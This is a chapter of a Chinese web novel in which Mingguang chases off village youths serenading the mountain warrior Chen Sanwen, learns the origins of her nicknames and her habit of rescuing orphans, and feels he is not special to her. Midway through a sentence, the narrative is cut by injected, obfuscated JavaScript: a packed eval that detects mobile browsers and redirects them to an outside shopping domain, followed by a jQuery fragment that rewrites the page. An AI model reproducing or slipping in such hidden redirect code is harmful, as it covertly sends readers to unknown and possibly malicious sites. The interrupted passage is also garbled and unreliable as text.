陈三问回到住处的时候已经很晚了。
屋子打扫得很干净，散发着药草熏过的气息，她直接躺在了晒得松软的干草上，这才在身下人的惊呼中意识到这里早就有了一个人。
“你怎么在这里？”她看着钻出来的明光，下意识的询问。
“我是你的人，不跟你一起住这儿住哪？”明光没好气地从稻草堆里爬出来，见到她比平时迟缓的多的样子，这才意识到，“你醉了？”
他看到她在席上与人大碗干酒，还以为她千杯不醉。
“可能吧，陪祖祖说了一会儿话，酒劲儿上来了。”陈三问仰躺在那里，声音中有着浅浅的笑意。
她说着话，顺便就勾住了前来查看的明光的脖子，像拍一只小狗那样拍了拍他，由衷的感慨，“有你在可真好啊。”
终于回到“家”时，不是一世孤寂。
“好？”明光有些一愣，不知道这评价从何而来。
但想想自己在她不在的时候干了那么多活，将所有的存货都分门别类的整理好了，顿时又骄傲起来，“那当然，捡到我算你捡到宝了。”
陈三问低低的笑了一声。
“山鬼，你是不是不开心？”他听着那笑声，终于忍不住问出了萦绕在心尖一晚上的话。
但没有人回应他。
她已经躺在那里睡着了。
**
明光睡到半夜，是被歌声吵起来的。
那声音起初并不大，哼哼唧唧，像是一种试探。
他起初还以为是山里的风呢，在靠近门口的草垛上翻个身就睡着了。
但是很快一首歌唱完之后，另外一首又响了起来。
跟第一首不同，这次仿佛换了个人，有点五音不全，唱的格外难听还抓耳。
明光半梦半醒间，情不自禁的听完了全程，难受的想给他纠正又睁不开眼。
好不容易熬完第二首，第三个人又开始了。
这个唱的好点，但或许因为激动，有点把握不住音量，高亢的惊走了几只飞鸟。
鸟儿在沉沉的夜幕中嘎嘎叫了几声，或许骂的很脏。
已经被完全吵醒的明光，几乎是瞬间和这些鸟儿同频了起来。
到底是谁啊？大半夜在人窗外唱歌，烦不烦？
**
他穿了衣服起来，蹑手蹑脚的走到门口，然后猛然拉开门，就看到月光下外面站了黑压压的一群人。
一群非常年轻的，和他年纪差不多的少年们。
那些人最初看到门打开，还吓了一跳，集体往后退了一步。
但等发现开门的人是他，而不是陈三问时，顿时又旁若无人的窃窃私语起来。
“怎么是他开的门？”
“山鬼的屋里怎么还住了一个人？”
“他好像就是今天跟山鬼一起来的。”
“应该也是顺手被捡回来的吧。”
“什么叫“也”？”陈三问敏锐的发现了华点。
“山鬼有捡人的习惯啊！”人群中一个少年挺起了胸膛，有些骄傲的说，“我就是被她捡回来的。”
“我也是。”
“还有我还有我！”
大家遭遇差不多，于是看明光也多了几分亲切，有人甚至热情的问他，“那你会不会也留在咱们村里？”
“如果你留下来，那你要喊我哥了？”
＊
这些话听得明光心里很不舒服。
他把这些归结于他们太吵了。
“有完没完！”他皱起眉，没好气的压低声音训斥道，“这么吵，半夜还让不让人睡了？”
众人先是一愣，然后更加激烈的反抗起来。
“你一个新来的说什么傻话？”有人不服气的斜眼看他，“是不是想把我们都赶走，然后一个人给山鬼唱歌。”
“去去去！”明光直接上手赶他们，“我才不像你们这么没脸没皮的。”
“什么叫没脸没皮！”少年们不服气，“山鬼难得来一次，你不能独占她。”
“就是。”有人担忧，“也不知道她这次会呆多久。我们就是怕一晚上唱一个，她走了还有人没轮上，所以商量之下就决定一起来了。”
“你们都喜欢他？”明光有点意外。
他开始只是觉得震撼，但震撼过后，想一想却又觉得无可厚非。
她那么强大那么耀眼，喜欢上她好像是一件自然而然的事情。
“对啊，我们都喜欢他，所以谁也不愿意其它人排后面。所以大家商量好，按照认识的顺序来。”有人忽然警惕的看着明光，“如果你也想要加入的话，得去后面排队。”
“我没有想加入。”明光的额上青筋直跳，“我只想睡个好觉。”
众人闻言脸上露出了嫌弃的表情。
“不就是个唱歌，怎么就又睡不着觉了，你可真娇气。”
“就是，我之前睡觉还喜欢阿娘给我唱歌呢。”
明光觉得他跟这些人说不通。
这些人也觉得他有问题。
“你该不会想要把我们赶走，然后一个人偷偷给唱歌吧。”所有人都怀疑的看着他。
“我没有！”明光咬牙切齿的说。“我只是知道她赶了一天的路，又跟巫祖聊了大半夜，已经很累了，现在最需要的就是安静的睡一觉。”
他这话说的倒是在理。
少年们讨论了一下，最后觉得今夜不如就这样散去，明天晚上早一点来，最好让山鬼可以听到他们的歌声入睡。
看着这些人三三两两的散开，明光终于散了一散了一口气。
他转身准备回去睡觉，却不料一抬头，就看到陈三问正披着衣服站在门口，顿时觉得有些尴尬。
“那个，我不是故意要自作主张的……我……我……”
当着当事人，他倒是有点不好解释自己刚才的行径了。
“我知道，”陈三问点了点头，打了个哈欠。“幸好你把他们赶走了，要不然怕他们是要唱到天明。”
“会吵到你睡觉？”明光打量了一眼她的眼色脸色，试探的问。
“那倒不会。”陈三问非常坦然的说，“我习惯了留一只耳朵睡觉，不管外面有多吵都能睡着……我只是怕他们晚上唱的太晚，影响明天干活。”
“噢。”明光应了一声，却又觉得如释重负。
不愧是她。
所有人在她眼中，大概就是可用和不可用的区别吧。
他要变得更有用。
**
因为夜晚的小插曲，明光第二天醒来的时候，天已经大亮了。
陈三问不在房间了，他听到窗外传来一声声喝彩声，推开窗户，就看到陈三问在楼下的空地上舞剑。
一抹青色如游龙般随着她的周身游转，举手投足之间，说不出的写意风流。
她很少用剑。
在山林间时，她背上背着弓和刀，飞鸟用弓，走兽用用刀。小东西是匕首，迅猛的有飞镖，甚至腰间还有一把断刃。
极少用到华而不实的“剑法”。
但是一眼，明光就觉得她的剑法应该也很厉害。
因为真的很“漂亮”。
不是那种花架子的漂亮，而是一种干脆凌厉，一招一式，在极具杀意的同时又简洁到臻于化境的美丽。
她舞剑时，似乎天地也都安静了下来，美的让人无法移开视线。
等她收剑后，明光才发现她手中的剑只是一支随手劈下来的青竹竿，不免有些觉得遗憾。
她配得上世间最好的剑。
此时她旁边已经叫好声震天，围观的少男少女们们激动得满脸通红，一边鼓着掌，一边喊她的名字。
“山鬼！”
“三问！”
“十三！”
“陈陈！”
“阿姐！”
混乱的名字，让人错以为底下有一排人在表演呢。
**
陈三问拎着竹枝站在那里跟其他人说话，姿态闲适，连大气都没有喘。
明光看的有些发呆，心中却又有些难过。
不同于在妖兵营地简单的杀戮，这一次，他是那么直观而真切的看到，有多少人爱着她。
在这些人中，自己又能算个什么呢？
也许是他的目光太灼热，让警惕性极强的陈三问感受到，她猛然抬头，目光凌厉的看向上方。
当两人对视时，那凌厉的眼神微微一愣，然后弯了起来，变成一泓清泉般的笑眼。
她抬起手，对他笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699759|208105||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着招了招手。
明光捂着胸口，缩到了窗后。
他想，我还是有些不同的。
我比他们都更靠近她。
**
明光立刻跟一只小狗一样哒哒哒的跑下去。
陈三问身边的人还没有散开，她招呼他过来，给她介绍人，“这是我在村子里的朋友，你可以跟他们一起玩。”
“那你呢？”
“我今天要跟狩猎队出去打猎，不方便带你。”
为什么狩猎队就不方便打带自己？
明光有心想问，但是想到了昨晚那一排唱歌的人，立刻决定不再问。
“好。”
他要让自己变得更有用。
她不在的时候，他刚好可以跟村子里的人混熟，打听自己想知道的事情。
**
早饭过后，陈三问带着二十多个狩猎队的人进山，明光抱着脏衣服到了河边，和洗衣服的人打成了一片。
然后就知道了陈三问那么多外号的来由。
“山鬼”是山中人对她们一派的统称，在本地方言中是山神的意思。
陈三问的师门都是修行者，武力值比普通人都强大很多，崇山峻岭如履平地，常年游弋在群山峻岭与高壁险峰之间，标志便是脸上带着兽骨雕刻的面具。
村人们外出，不管遇到什么困难，只要看到他们，都可以向其求助，无有不应。
所以山神并不止陈三问一人，所有带着骨面的修行者，都被人山民们称为“山鬼”。
**
“十三”则是陈三问的排行，她在师门中排行十三，师门与长者，常常亲昵的喊她十三，她师傅生气时，也常骂她“陈十三你给我滚回来”，久而久之，同辈中有些自诩为关系好的，也唤她“十三”。
“那她前面十二个师兄师姐呢？”明光忍不住好奇的问。
说话的少女笑容停了一下，然后低下头，继续搓着衣服，淡淡的说道，“死了。”
在那一刻，明光才意识到，在山中要养大一个孩子有多难。
他没敢再问陈三问师门的事情，岔开了话题。
相比较“三问”、“十三”这种比较正经的称呼，“陈陈”和“阿姐”，就显得黏糊多了。
“陈陈”是同村孩子们对她的昵称，陈十三的师父是本村人，所以她小时候与师父回村的次数比较多。有几次师傅去执行特别难的任务时，还将她放在这里养了月余。
那时的她还没有鬼面覆脸时，只是个特别强壮的孩子。村中同龄的男孩女孩们跟着她一起上山抓猪，下河捉鱼，童言童语总是亲热而黏糊的喊她“陈陈”。
“阿姐”则是外来孩子们的称呼。
这也解释了少年们所说的陈三问“捡人”习惯。
**
她少时随师傅修行，路上捡到的人不少，有逃入山林而失去方向的奴隶们，有从妖兵扫荡中侥幸活下来的幸运儿，有被山洪暴雨冲击的流离失所，几乎族灭的村民，有砍柴打猎，误入险境的村民……
有大人，但更多的是小孩儿……
在灾难来临时，保护幼崽，几乎是人的本能。
陈三问就不止一次，在死去的父母怀抱中，救下还有一口气的孩子。
遇到这种天神般的降临，大人们或许会感觉到敬畏，只敢磕头，恭敬的喊“山鬼”。
而小孩子们只会伸出脏兮兮的小手，扯住她的指头，怯生生的喊上一声“阿姐”。
**
“那些捡来的人呢？”明光洗衣服的手一顿。
“山鬼们会为他们找到新的家。”洗衣服的少女习以为常的说，“山鬼常年在山中游荡，当然不可能带个累赘在身边，一般都会帮他们找到就近的村子安置。我们村就有好几个。”
少女努了努嘴，“大家都希望自己对山鬼来说是特别的，所以我们村的人会坚持在她不戴面具时喊她陈陈，而另外一波孩子坚持喊她阿姐。”
明光抿了抿嘴，捶衣服的动作稍微大了点。
他终于知道自己这一天在难受什么了。
他一直以为自己是特殊的，但这么一看，他好像是许多普通人中的一个。
她被那么多人，真挚而热烈的爱着，自己又算什么呢。